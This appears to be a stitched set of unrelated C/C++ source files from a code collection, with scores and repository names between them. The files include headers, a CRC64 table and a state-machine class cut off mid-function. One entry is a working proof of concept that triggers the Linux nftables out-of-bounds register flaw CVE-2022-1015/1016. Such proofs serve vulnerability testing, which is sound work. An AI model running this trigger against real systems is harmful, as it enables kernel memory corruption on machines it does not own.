<filename>VC/MyFileClass.h #pragma once #ifndef MyFileClass #define MyFileClass #include <string> #include <fstream> #include <iostream> #include "GlobalVar.h" using namespace std; class MyFiles { public: std::ofstream printDisruptOD; std::ofstream printDIsruptLink; std::ofstream printCaseDescription; //std::ofstream printDisruptSummary; std::ofstream printRecoverOD; std::ofstream printRecoverLink; //std::ofstream printRecoverSummary; std::ofstream printModelPara; std::ofstream printLog; std::string rootfolder; MyFiles() { set_root_folder(); //IniFiles(); } ~MyFiles() { printDisruptOD.close(); printDIsruptLink.close(); printRecoverLink.close(); printModelPara.close(); printLog.close(); printRecoverOD.close(); printCaseDescription.close(); //printDisruptSummary.close(); printDisruptSummary.close(); } void IniFiles(); //{ // if (VCprocedure==Procedure::EvalOne) { // printDisruptOD.open(rootfolder + "OutPut//" + "DisruptOD.csv", ios::trunc); // printDisruptOD << "RecoverCase,VulLink,Origin,Dest,ODIndex,Demand,UECost" << endl; // printDIsruptLink.open(rootfolder + "OutPut//" + "DisrutpLink.csv", ios::trunc); // printDIsruptLink << "RecoverCase,VulLink,ID,Tail,Head,T0,Flow,Cap,Alpha,Beta,Cost" << endl; // } // else // { // printDisruptOD.open(rootfolder + "OutPut//" + "DisruptOD.csv", ios::app); // printDIsruptLink.open(rootfolder + "OutPut//" + "DisrutpLink.csv", ios::app); // } // if (VCprocedure == Procedure::RecoverOne) { // printRecoverOD.open(rootfolder + "OutPut//" + "RecoverOD.csv", ios::trunc); // printRecoverOD << "RecoverCase,VulLink,Origin,Dest,ODIndex,Demand,UECost" << endl; // printRecoverLink.open(rootfolder + "OutPut//" + "RecoverLink.csv", ios::trunc); // printRecoverLink << "RecoverCase,VulLink,ID,Tail,Head,T0,Flow,Cap,Alpha,Beta,Cost" << endl; // } // else // { // printRecoverOD.open(rootfolder + "OutPut//" + "RecoverOD.csv", ios::app); // printRecoverLink.open(rootfolder + "OutPut//" + "RecoverLink.csv", ios::app); // } // //printDisruptSummary.open(rootfolder + "OutPut//" + "DisruptSummary.txt", ios::trunc); // //printRecoverSummary.open(rootfolder + "OutPut//" + "RecoverSummary.txt", ios::trunc); // printModelPara.open(rootfolder + "OutPut//" + "ModelPara.csv", ios::trunc); // printLog.open(rootfolder + "OutPut//" + "MsgLog.csv", ios::trunc); printLog.close(); printLog.clear(); // printLog.open(rootfolder + "OutPut//" + "Log.txt", ios::trunc); //} void set_root_folder(); //{ // char* buffer; // if ((buffer = _getcwd(NULL, 0)) == NULL) perror("_getcwd error"); // std::string ff(buffer); // std::vector<std::string> SubStrs, ResidualStr; // std::string::size_type Sub1Begin, Sub1End; // Sub1Begin = 0; // SubStrs.clear(); // Sub1End = ff.find("\\"); // do // { // SubStrs.push_back(ff.substr(Sub1Begin, Sub1End - Sub1Begin)); // Sub1Begin = Sub1End + 1; // Sub1End = ff.find("\\", Sub1End + 1); // } while (Sub1End != std::string::npos); // SubStrs.push_back(ff.substr(Sub1Begin, Sub1End - Sub1Begin)); // for (size_t i = 0; i < SubStrs.size() - 1; i++) // { // if (SubStrs[i + 1]._Equal("VC")) // { // rootfolder = rootfolder + SubStrs[i]; // break; // } // else // { // rootfolder = rootfolder + SubStrs[i] + "\\"; // } // } // rootfolder = rootfolder + "\\VC\\"; //} }; #endif
0.667969
low
multimedia/danim/src/appel/privinc/fileutil.h
npocmaka/Windows-Server-2003
17
834241
/******************************************************************************* Copyright (c) 1995_96 Microsoft Corporation Abstract: General file utilities *******************************************************************************/ #ifndef _FILEUTIL_H #define _FILEUTIL_H // Decompress GZipped files, from the input file to the output file // (output file will be newly created). Return TRUE or FALSE. Note // that this only succeeds if GZIP used the "DEFLATE" compression // style, which it doesn't always do. The outfile name is a temporary // filename that's created by the routine. Need to pass in a big // enough buffer to hold the name (1024 should do it). BOOL MSDecompress(LPSTR pszInFile, LPSTR pszOutFile); #endif /* _FILEUTIL_H */
0.726563
high
Complex_Class/Complex.h
rhazra-003/OOPLab
1
834753
#ifndef PROJ1_COMPLEX_H #define PROJ1_COMPLEX_H #include <iostream> class Complex { float x; float y; public: Complex(); Complex(float, float); Complex operator+ (const Complex&) const; Complex operator- (const Complex&) const; Complex operator* (const Complex&) const; Complex operator/ (const Complex&) const; Complex operator! () const; bool operator== (const Complex&) const; bool operator!= (const Complex&) const; Complex &operator= (const Complex&); float operator[] (int i) const; friend std::ostream &operator<<(std::ostream &output, Complex const&); friend std::istream &operator>>(std::istream &input, Complex &); }; #endif //PROJ1_COMPLEX_H
0.976563
high
commonAST/traversalUnion.h
Submitty/AnalysisTools
6
835265
#ifndef __TRAVERSAL_H__ #define __TRAVERSAL_H__ #include <iostream> #include <map> #include <vector> #include <stdlib.h> using namespace std; class ASTNode; class CounterVisitor{ public: CounterVisitor(); CounterVisitor(map<string, vector<string> > nodesToCount); int getASTNodes() const; string getClassesAndBases() const; void visit(ASTNode* n); private: int countASTNode; map<string, vector<string> > nodesToCount; }; #endif
0.839844
high
include/XeSDK/XeCryptoCrc64.h
XeEngine/XeEngine
11
835777
#pragma once #include <XeSDK/XeDef.h> namespace Xe { namespace Crypto { static const u64 Crc64DefaultTable[] = { 0x0000000000000000ULL, 0xb32e4cbe03a75f6fULL, 0xf4843657a840a05bULL, 0x47aa7ae9abe7ff34ULL, 0x7bd0c384ff8f5e33ULL, 0xc8fe8f3afc28015cULL, 0x8f54f5d357cffe68ULL, 0x3c7ab96d5468a107ULL, 0xf7a18709ff1ebc66ULL, 0x448fcbb7fcb9e309ULL, 0x0325b15e575e1c3dULL, 0xb00bfde054f94352ULL, 0x8c71448d0091e255ULL, 0x3f5f08330336bd3aULL, 0x78f572daa8d1420eULL, 0xcbdb3e64ab761d61ULL, 0x7d9ba13851336649ULL, 0xceb5ed8652943926ULL, 0x891f976ff973c612ULL, 0x3a31dbd1fad4997dULL, 0x064b62bcaebc387aULL, 0xb5652e02ad1b6715ULL, 0xf2cf54eb06fc9821ULL, 0x41e11855055bc74eULL, 0x8a3a2631ae2dda2fULL, 0x39146a8fad8a8540ULL, 0x7ebe1066066d7a74ULL, 0xcd905cd805ca251bULL, 0xf1eae5b551a2841cULL, 0x42c4a90b5205db73ULL, 0x056ed3e2f9e22447ULL, 0xb6409f5cfa457b28ULL, 0xfb374270a266cc92ULL, 0x48190ecea1c193fdULL, 0x0fb374270a266cc9ULL, 0xbc9d3899098133a6ULL, 0x80e781f45de992a1ULL, 0x33c9cd4a5e4ecdceULL, 0x7463b7a3f5a932faULL, 0xc74dfb1df60e6d95ULL, 0x0c96c5795d7870f4ULL, 0xbfb889c75edf2f9bULL, 0xf812f32ef538d0afULL, 0x4b3cbf90f69f8fc0ULL, 0x774606fda2f72ec7ULL, 0xc4684a43a15071a8ULL, 0x83c230aa0ab78e9cULL, 0x30ec7c140910d1f3ULL, 0x86ace348f355aadbULL, 0x3582aff6f0f2f5b4ULL, 0x7228d51f5b150a80ULL, 0xc10699a158b255efULL, 0xfd7c20cc0cdaf4e8ULL, 0x4e526c720f7dab87ULL, 0x09f8169ba49a54b3ULL, 0xbad65a25a73d0bdcULL, 0x710d64410c4b16bdULL, 0xc22328ff0fec49d2ULL, 0x85895216a40bb6e6ULL, 0x36a71ea8a7ace989ULL, 0xa0dda7c5f3c4488eULL, 0xb9f3eb7bf06317e1ULL, 0xfe5991925b84e8d5ULL, 0x4d77dd2c5823b7baULL, 0x64b62bcaebc387a1ULL, 0xd7986774e864d8ceULL, 0x90321d9d438327faULL, 0x231c512340247895ULL, 0x1f66e84e144cd992ULL, 0xac48a4f017eb86fdULL, 0xebe2de19bc0c79c9ULL, 0x58cc92a7bfab26a6ULL, 0x9317acc314dd3bc7ULL, 0x2039e07d177a64a8ULL, 0x67939a94bc9d9b9cULL, 0xd4bdd62abf3ac4f3ULL, 0xe8c76f47eb5265f4ULL, 0x5be923f9e8f53a9bULL, 0x1c4359104312c5afULL, 0xaf6d15ae40b59ac0ULL, 0x192d8af2baf0e1e8ULL, 0xaa03c64cb957be87ULL, 0xeda9bca512b041b3ULL, 0x5e87f01b11171edcULL, 0x62fd4976457fbfdbULL, 0xd1d305c846d8e0b4ULL, 0x96797f21ed3f1f80ULL, 0x2557339fee9840efULL, 0xee8c0dfb45ee5d8eULL, 0x5da24145464902e1ULL, 0x1a083bacedaefdd5ULL, 0xa9267712ee09a2baULL, 0x955cce7fba6103bdULL, 0x267282c1b9c65cd2ULL, 0x61d8f8281221a3e6ULL, 0xd2f6b4961186fc89ULL, 0x9f8169ba49a54b33ULL, 0x2caf25044a02145cULL, 0x6b055fede1e5eb68ULL, 0xd82b1353e242b407ULL, 0xe451aa3eb62a1500ULL, 0x577fe680b58d4a6fULL, 0x10d59c691e6ab55bULL, 0xa3fbd0d71dcdea34ULL, 0x6820eeb3b6bbf755ULL, 0xdb0ea20db51ca83aULL, 0x9ca4d8e41efb570eULL, 0x2f8a945a1d5c0861ULL, 0x13f02d374934a966ULL, 0xa0de61894a93f609ULL, 0xe7741b60e174093dULL, 0x545a57dee2d35652ULL, 0xe21ac88218962d7aULL, 0x5134843c1b317215ULL, 0x169efed5b0d68d21ULL, 0xa5b0b26bb371d24eULL, 0x99ca0b06e7197349ULL, 0x2ae447b8e4be2c26ULL, 0x6d4e3d514f59d312ULL, 0xde6071ef4cfe8c7dULL, 0x15bb4f8be788911cULL, 0xa6950335e42fce73ULL, 0xe13f79dc4fc83147ULL, 0x521135624c6f6e28ULL, 0x6e6b8c0f1807cf2fULL, 0xdd45c0b11ba09040ULL, 0x9aefba58b0476f74ULL, 0x29c1f6e6b3e0301bULL, 0xc96c5795d7870f42ULL, 0x7a421b2bd420502dULL, 0x3de861c27fc7af19ULL, 0x8ec62d7c7c60f076ULL, 0xb2bc941128085171ULL, 0x0192d8af2baf0e1eULL, 0x4638a2468048f12aULL, 0xf516eef883efae45ULL, 0x3ecdd09c2899b324ULL, 0x8de39c222b3eec4bULL, 0xca49e6cb80d9137fULL, 0x7967aa75837e4c10ULL, 0x451d1318d716ed17ULL, 0xf6335fa6d4b1b278ULL, 0xb199254f7f564d4cULL, 0x02b769f17cf11223ULL, 0xb4f7f6ad86b4690bULL, 0x07d9ba1385133664ULL, 0x4073c0fa2ef4c950ULL, 0xf35d8c442d53963fULL, 0xcf273529793b3738ULL, 0x7c0979977a9c6857ULL, 0x3ba3037ed17b9763ULL, 0x888d4fc0d2dcc80cULL, 0x435671a479aad56dULL, 0xf0783d1a7a0d8a02ULL, 0xb7d247f3d1ea7536ULL, 0x04fc0b4dd24d2a59ULL, 0x3886b22086258b5eULL, 0x8ba8fe9e8582d431ULL, 0xcc0284772e652b05ULL, 0x7f2cc8c92dc2746aULL, 0x325b15e575e1c3d0ULL, 0x8175595b76469cbfULL, 0xc6df23b2dda1638bULL, 0x75f16f0cde063ce4ULL, 0x498bd6618a6e9de3ULL, 0xfaa59adf89c9c28cULL, 0xbd0fe036222e3db8ULL, 0x0e21ac88218962d7ULL, 0xc5fa92ec8aff7fb6ULL, 0x76d4de52895820d9ULL, 0x317ea4bb22bfdfedULL, 0x8250e80521188082ULL, 0xbe2a516875702185ULL, 0x0d041dd676d77eeaULL, 0x4aae673fdd3081deULL, 0xf9802b81de97deb1ULL, 0x4fc0b4dd24d2a599ULL, 0xfceef8632775faf6ULL, 0xbb44828a8c9205c2ULL, 0x086ace348f355aadULL, 0x34107759db5dfbaaULL, 0x873e3be7d8faa4c5ULL, 0xc094410e731d5bf1ULL, 0x73ba0db070ba049eULL, 0xb86133d4dbcc19ffULL, 0x0b4f7f6ad86b4690ULL, 0x4ce50583738cb9a4ULL, 0xffcb493d702be6cbULL, 0xc3b1f050244347ccULL, 0x709fbcee27e418a3ULL, 0x3735c6078c03e797ULL, 0x841b8ab98fa4b8f8ULL, 0xadda7c5f3c4488e3ULL, 0x1ef430e13fe3d78cULL, 0x595e4a08940428b8ULL, 0xea7006b697a377d7ULL, 0xd60abfdbc3cbd6d0ULL, 0x6524f365c06c89bfULL, 0x228e898c6b8b768bULL, 0x91a0c532682c29e4ULL, 0x5a7bfb56c35a3485ULL, 0xe955b7e8c0fd6beaULL, 0xaeffcd016b1a94deULL, 0x1dd181bf68bdcbb1ULL, 0x21ab38d23cd56ab6ULL, 0x9285746c3f7235d9ULL, 0xd52f0e859495caedULL, 0x6601423b97329582ULL, 0xd041dd676d77eeaaULL, 0x636f91d96ed0b1c5ULL, 0x24c5eb30c5374ef1ULL, 0x97eba78ec690119eULL, 0xab911ee392f8b099ULL, 0x18bf525d915feff6ULL, 0x5f1528b43ab810c2ULL, 0xec3b640a391f4fadULL, 0x27e05a6e926952ccULL, 0x94ce16d091ce0da3ULL, 0xd3646c393a29f297ULL, 0x604a2087398eadf8ULL, 0x5c3099ea6de60cffULL, 0xef1ed5546e415390ULL, 0xa8b4afbdc5a6aca4ULL, 0x1b9ae303c601f3cbULL, 0x56ed3e2f9e224471ULL, 0xe5c372919d851b1eULL, 0xa26908783662e42aULL, 0x114744c635c5bb45ULL, 0x2d3dfdab61ad1a42ULL, 0x9e13b115620a452dULL, 0xd9b9cbfcc9edba19ULL, 0x6a978742ca4ae576ULL, 0xa14cb926613cf817ULL, 0x1262f598629ba778ULL, 0x55c88f71c97c584cULL, 0xe6e6c3cfcadb0723ULL, 0xda9c7aa29eb3a624ULL, 0x69b2361c9d14f94bULL, 0x2e184cf536f3067fULL, 0x9d36004b35545910ULL, 0x2b769f17cf112238ULL, 0x9858d3a9ccb67d57ULL, 0xdff2a94067518263ULL, 0x6cdce5fe64f6dd0cULL, 0x50a65c93309e7c0bULL, 0xe388102d33392364ULL, 0xa4226ac498dedc50ULL, 0x170c267a9b79833fULL, 0xdcd7181e300f9e5eULL, 0x6ff954a033a8c131ULL, 0x28532e49984f3e05ULL, 0x9b7d62f79be8616aULL, 0xa707db9acf80c06dULL, 0x14299724cc279f02ULL, 0x5383edcd67c06036ULL, 0xe0ada17364673f59ULL }; constexpr u64 Crc64_c(const char data[], u64 hash, int index, int remains) { return remains == 0 ? hash ^ -1 : Crc64_c(data, Crc64DefaultTable[(u8)hash ^ data[index]] ^ (hash >> 8), index + 1, remains - 1); } template <int length> constexpr u64 Crc64_c(const char(&data)[length]) { return Crc64_c(data, -1, 0, length - 1); } constexpr u64 Crc64_c(const char data[], int length) { return Crc64_c(data, -1, 0, length); } struct Crc64 { Crc64(u64 polynomial = 0xC96C5795D7870F42); template <int length> constexpr u64 Calculate(const char(&data)[length]) const { return Calculate(data, 0, length); } u64 Calculate(ctstring str) const; u64 Calculate(const char* data, int offset, int length) const; private: u64 Table[0x100]; }; } }
0.992188
high
Logic/ReqAndRsp/MHGetWaterPurifyRecordsRequest.h
ttsaite375/Waterpurifier
0
836289
<filename>Logic/ReqAndRsp/MHGetWaterPurifyRecordsRequest.h<gh_stars>0 // // MHGetWaterPurifyRecordsRequest.h // MiHome // // Created by wayne on 15/6/26. // Copyright (c) 2015年 小米移动软件. All rights reserved. // #import <MiHomeInternal/MiHomeKit.h> #import "MHDeviceWaterpurifier.h" @interface MHGetWaterPurifyRecordsRequest : MHBaseRequest @property (nonatomic, copy) NSString* did; @property (nonatomic, assign) MHWaterPurifyRecordType type; @property (nonatomic, assign) NSTimeInterval timeStart; @property (nonatomic, assign) NSTimeInterval timeEnd; @property (nonatomic, assign) NSInteger limit; @end
0.703125
medium
src/SampSharp/sock_unix.h
TheFuseGamer/SampSharp
174
836801
// SampSharp // Copyright 2018 <NAME> // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #pragma once #include "platforms.h" #if SAMPSHARP_LINUX #include "stdlib.h" #include "commsvr.h" #include "message_queue.h" #include <sys/types.h> #include <sys/socket.h> class sock_unix : public commsvr { public: sock_unix(); ~sock_unix(); COMMSVR_DECL_PUB(); protected: virtual bool accept_addr(struct sockaddr *addr, socklen_t addrlen); virtual socklen_t accept_addr_len(); virtual int socket_create() = 0; virtual socklen_t addr_alloc(struct sockaddr** addrptr) = 0; private: void logerr(const char *pfx); bool wouldblock(); int sock_; int sockc_; uint8_t *buf_; remote_server *svr_; message_queue queue_messages_; }; #endif // SAMPSHARP_LINUX
0.996094
high
Modules/Core/src/IO/mitkLegacyFileWriterService.h
liu3xing3long/MITK-2016.11
0
837313
/*=================================================================== The Medical Imaging Interaction Toolkit (MITK) Copyright (c) German Cancer Research Center, Division of Medical and Biological Informatics. All rights reserved. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See LICENSE.txt or http://www.mitk.org for details. ===================================================================*/ #ifndef LegacyFileWriterService_H_HEADER_INCLUDED_C1E7E521 #define LegacyFileWriterService_H_HEADER_INCLUDED_C1E7E521 #include <mitkAbstractFileWriter.h> #include <mitkFileWriter.h> namespace mitk { class LegacyFileWriterService : public mitk::AbstractFileWriter { public: LegacyFileWriterService(mitk::FileWriter::Pointer legacyWriter, const std::string &description); ~LegacyFileWriterService(); using AbstractFileWriter::Write; virtual void Write() override; virtual ConfidenceLevel GetConfidenceLevel() const override; private: LegacyFileWriterService *Clone() const override; mitk::FileWriter::Pointer m_LegacyWriter; us::ServiceRegistration<IFileWriter> m_ServiceRegistration; }; } // namespace mitk #endif /* LegacyFileWriterService_H_HEADER_INCLUDED_C1E7E521 */
0.992188
high
busybox-1.28.0/include/config/mkpasswd.h
HenryLong/Android_busybox
27
837825
<filename>busybox-1.28.0/include/config/mkpasswd.h<gh_stars>10-100 #define CONFIG_MKPASSWD 1
0.980469
low
cve-2022-1015/exploit.c
tamilmaran-7/samples
1
838337
/* cc exploit.c -o exploit -lnftnl -lmnl && unshare -U -n -r /bin/sh -c './exploit ; /sbin/nft list ruleset' * * Attempts to install: * [ immediate reg 1 0x00000000 ] * [ cmp neq reg 1 0x00000000 ] * [ payload load 64b @ network header + 0 => reg 61 ] # won't do anything due to cmp 0 != 0 above. */ #include <stddef.h> #include <stdio.h> #include <linux/netfilter.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nf_tables.h> #include <libmnl/libmnl.h> #include <libnftnl/table.h> #include <libnftnl/chain.h> #include <libnftnl/rule.h> #include <libnftnl/expr.h> int main(void) { static const uint32_t zero; struct mnl_socket *nl; struct nftnl_table *table = nftnl_table_alloc(); struct nftnl_chain *chain = nftnl_chain_alloc(); struct nftnl_rule *rule = nftnl_rule_alloc(); char buf[MNL_SOCKET_BUFFER_SIZE]; struct nftnl_expr *expr_cmp, *expr_payload, *expr_imm; struct mnl_nlmsg_batch *batch; struct nlmsghdr *nlh; int seq = 0, ret; nl = mnl_socket_open(NETLINK_NETFILTER); if (!nl) { perror("mnl_socket_open"); return 1; } nftnl_table_set_str(table, NFTNL_TABLE_NAME, "test_oob_register"); nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "test_oob_register"); nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, "c"); nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_INET_PRE_ROUTING); nftnl_chain_set_str(chain, NFTNL_CHAIN_TYPE, "filter"); nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, "test_oob_register"); nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, "c"); expr_imm = nftnl_expr_alloc("immediate"); nftnl_expr_set_u32(expr_imm, NFTNL_EXPR_IMM_DREG, NFT_REG_1); nftnl_expr_set(expr_imm, NFTNL_EXPR_IMM_DATA, &zero, sizeof(zero)); nftnl_rule_add_expr(rule, expr_imm); expr_cmp = nftnl_expr_alloc("cmp"); nftnl_expr_set_u32(expr_cmp, NFTNL_EXPR_CMP_SREG, NFT_REG_1); nftnl_expr_set_u32(expr_cmp, NFTNL_EXPR_CMP_OP, NFT_CMP_NEQ); nftnl_expr_set(expr_cmp, NFTNL_EXPR_CMP_DATA, &zero, sizeof(zero)); nftnl_rule_add_expr(rule, expr_cmp); expr_payload = nftnl_expr_alloc("payload"); nftnl_expr_set_u32(expr_payload, NFTNL_EXPR_PAYLOAD_DREG, 0xfffffff8); nftnl_expr_set_u32(expr_payload, NFTNL_EXPR_PAYLOAD_BASE, NFT_PAYLOAD_NETWORK_HEADER); nftnl_expr_set_u32(expr_payload, NFTNL_EXPR_PAYLOAD_LEN, 64); nftnl_expr_set_u32(expr_payload, NFTNL_EXPR_PAYLOAD_OFFSET, 0); nftnl_rule_add_expr(rule, expr_payload); batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, 0, seq++); nftnl_table_nlmsg_build_payload(nlh, table); mnl_nlmsg_batch_next(batch); nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_chain_nlmsg_build_payload(nlh, chain); mnl_nlmsg_batch_next(batch); nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_CREATE|NLM_F_APPEND|NLM_F_ACK, seq++); nftnl_rule_nlmsg_build_payload(nlh, rule); mnl_nlmsg_batch_next(batch); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); if (ret < 0) { perror("mnl_socket_sendto"); return 1; } ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); if (ret < 0) { perror("mnl_socket_recvfrom"); return 1; } ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL); if (ret < 0) { perror("mnl_cb_run"); return 1; } fprintf(stderr, "You are affected by CVE-2022-1015 & CVE-2022-1016.\n\n: mnl_cb_run returned %d\n", ret); mnl_socket_close(nl); return 0; }
0.976563
high
src/rd/rd.h
Mithilesh1609/mako
58
838849
// rd.h // // Ramdisk filesystem. // // Author: <NAME> <<EMAIL>> #ifndef _RD_H_ #define _RD_H_ #include <stdint.h> #include <fs/fs.h> // Initialize the ramdisk. Takes the location of the loaded // GRUB module. uint32_t rd_init(const uint32_t, const uint32_t); // Filesystem operations. void rd_open(fs_node_t *, uint32_t); void rd_close(fs_node_t *); uint32_t rd_read(fs_node_t *, uint32_t, uint32_t, uint8_t *); uint32_t rd_write(fs_node_t *, uint32_t, uint32_t, uint8_t *); struct dirent *rd_readdir(fs_node_t *, uint32_t); fs_node_t *rd_finddir(fs_node_t *, char *); #endif /* _RD_H_ */
0.984375
high
common/maplab-common/include/maplab-common/constants.h
AdronTech/maplab
1,936
839361
#ifndef MAPLAB_COMMON_CONSTANTS_H_ #define MAPLAB_COMMON_CONSTANTS_H_ #include <stdint.h> namespace common { constexpr uint32_t kSecondsPerWeek = 604800u; constexpr double kSpeedOfLightMPerS = 2.99792458e8; } #endif // MAPLAB_COMMON_CONSTANTS_H_
0.976563
high
src/stocklib/state.h
drb27/stock
0
839873
/** * @file */ /* The MIT License (MIT) Copyright (c) 2015 <NAME> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #ifndef STATE_H #define STATE_H #include <type_traits> #include <condition_variable> #include <mutex> #include <set> #include <map> #include <list> #include <exception> #include <stdexcept> #include <functional> #define LOCK std::lock_guard<std::recursive_mutex>(this->_mutex) #define LOCK2 std::lock_guard<std::mutex>(this->_statechange_mutex) /** * A thread-safe state machine implementation, with a dynamic definition which * can be modified at run-time. * * Possible modifications include the ability to change state transitions, state * entry callback actions, and state exit callback actions. * * Most public member functions are protected by a mutex, preventing * simultaneous access from multiple threads. However, the mutex is recursive, * meaning that these members are re-entrant, and it is possible to call them * from each other (e.g. during a callback). This is handy in preventing * deadlocks, while maintaining thread safety. * * States are self-explanatory. Actions are the stimuli that cause changes in * state to occur. Transitions are changes from one state to another in response * to an action. * * @param S A strongly-typed enumeration describing the states * @param A A strongly-typed enumeration describing the actions */ template<class S,class A> class state_machine { static_assert(std::is_enum<S>(),"Template parameters for state_machine must be an enumeration"); static_assert(std::is_enum<A>(),"Template parameters for state_machine must be an enumeration"); public: typedef std::map<A,S> action_table; typedef std::map<S,action_table> transition_table; typedef std::map<S,std::function<void()>> function_table; virtual ~state_machine() { } /** * Adds a state to the state machine. You need to manually create each state. */ void add_state(S s) { LOCK; add_state_bare(s); } /** * Adds an action to the state machine. You need to manually create each action. */ void add_action(A a) { LOCK; add_action_bare(a); } /** * Adds multiple states to the state machine. Equivalent to calling * add_state() on each member of the list. */ void add_states( const std::list<S>& s) { LOCK; for ( auto st : s ) add_state_bare(st); } /** * Adds multipe actions to the state machine. Equivalent to calling * add_action() on each member of the list. */ void add_actions( const std::list<A>& a) { LOCK; for ( auto ac : a ) add_action_bare(ac); } /** * Determines if a state has been added with add_state() or add_states() */ bool has_state(S s) const { LOCK; return has_state_bare(s); } /** * Determines if an action has been added with add_action() or add_actions() */ bool has_action(A a) const { LOCK; return has_action_bare(a); } /** * Adds a transition to the state machine definition. You should only add * one transition for each (os,ac) pair. Behaviour is undefined if you * violate this. * * @param os the starting state * @param ac the action causing the transition * @param ns the new state */ void add_transition(S os, A ac, S ns) { LOCK; add_transition_bare(os,ac,ns); } /** * Returns the state that would result if the given action is received from * the given state * * @param os The state * @param ac The action * @return The hypothetical new state. A transition does not actually * occur. */ S get_transition(S os, A ac) const { LOCK; return get_transition_bare(os,ac); } /** * Initializes the state machine to the given initial state. The state must * have previously been added with add_state() or add_states(). This method * should be called before any transitions are attempted. * * @param initial The state the machine assumes as its initial state. * * @note If defined, the entry actions for the state will be executed * before this call returns. */ void initialize(S initial) const { LOCK; _state=initial; do_entry_actions_bare(); } /** * Queries the state the state machine is currently in. * @return The identifier of the current state */ S get_state() const { LOCK; return _state; } /** * Performs on action on the state machine. Note that this may have no * effect if an applicable transition has not been defined. * * @param a The action to perform */ void action(A a) const { LOCK; LOCK2; action_bare(a); } /** * Defines entry actions for the given state. Whenever a transition to the * given state occurs, the given function is executed immediately following * the state change, in the caller's thread, before this API call returns. * * @param s The state to which the entry function is applied * @param f The function to call each time the state is entered */ void set_entry_function(S s, std::function<void()> f) { LOCK; set_entry_function_bare(s,f); } /** * Defines exit actions for the given state. Whenever a transition out of * the given state occurs, the given function is executed immediately prior * to the state change, in the caller's thread, before this API call * returns. * * @param s The state to which the exit function is applied * @param f The function to call each time the state is exited * * @note The exit function will not be called upon destruction of the * object. */ void set_exit_function(S s, std::function<void()> f) { LOCK; set_exit_function_bare(s,f); } /** * Throws a std::logic_error exception if the state machine is not in the * given state. If you need to ensure that no state change occurs following * this call, obtain a lock first with obtain_lock(), then call this. No * state change can occur until the lock is released. It is still safe to * call other methods of the object from the same thread - only other * threads will be blocked. * * @param s The state to test for */ void ensure_state(S s) const { LOCK; if (s!=_state) throw std::logic_error(); } /** * Obtains a lock on the object. No state changes will be possible from * other threads until the lock is released by either going out of scope or * by calling unlock() upon it. The calling thread that obtains the lock can * still operate freely on the state machine, including initiating a * transition. * * @return a lock which prevents access to the state machine from other threads. */ std::unique_lock<std::recursive_mutex> obtain_lock() const { return std::unique_lock<std::recursive_mutex>(_mutex); } /** * Blocks the calling thread indefinitely until the given state is * entered. If the state machine is already in the given state, this * function returns immediately. * * @param s The state to wait for */ void wait_for_state_entry(S s) const { std::unique_lock<std::recursive_mutex> main_lock(_mutex); std::unique_lock<std::mutex> event_lock(_statechange_mutex); event_lock.unlock(); if (_state==s) { // We're already done. Release the main mutex and return. main_lock.unlock(); return; } // Now lock the statechange lock and release the main lock. Another thread // must own both in order to change the state. event_lock.lock(); main_lock.unlock(); bool achievedState=false; while(!achievedState) { _state_change.wait(event_lock); if (_state==s) achievedState=true; } } protected: bool is_valid_transition_bare(A a) const { const auto& table = _tt.at(_state); const auto i = table.find(a); return (i!=table.end()); } void do_entry_actions_bare() const { if (has_entry_function_bare(_state)) _entry_actions.at(_state)(); } void do_exit_actions_bare() const { if (has_exit_function_bare(_state)) _exit_actions.at(_state)(); } void action_bare(A a) const { if (is_valid_transition_bare(a)) { S newState = get_transition_bare(_state,a); // Exit actions do_exit_actions_bare(); // Enter the new state _state = newState; // Perform new state entry actions do_entry_actions_bare(); // Notify waiters _state_change.notify_all(); } else throw std::logic_error("Invalid action for current state"); } void add_state_bare(S s) { if (!has_state_bare(s)) { _states.insert(s); _tt[s] = (action_table){}; } } void add_transition_bare(S os, A ac, S ns) { auto& table = _tt[os]; table[ac] = ns; } S get_transition_bare(S os, A ac) 